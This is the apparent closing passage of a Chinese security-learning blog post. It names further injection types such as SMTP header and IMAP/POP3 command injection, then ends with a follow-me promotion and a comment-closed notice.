其实除了列举的这些以外,还有很多种注入方式。比如SMTP Header注入,IMAP命令行注入,POP3命令行注入,SMTP邮件命令行注入等。学习之路还有很长,争取早日当菜鸡!
关注我,持续更新文章;私我获取【网络安全学习资料·攻略】
相关文章
本站已关闭游客评论,请登录或者注册后再评论吧~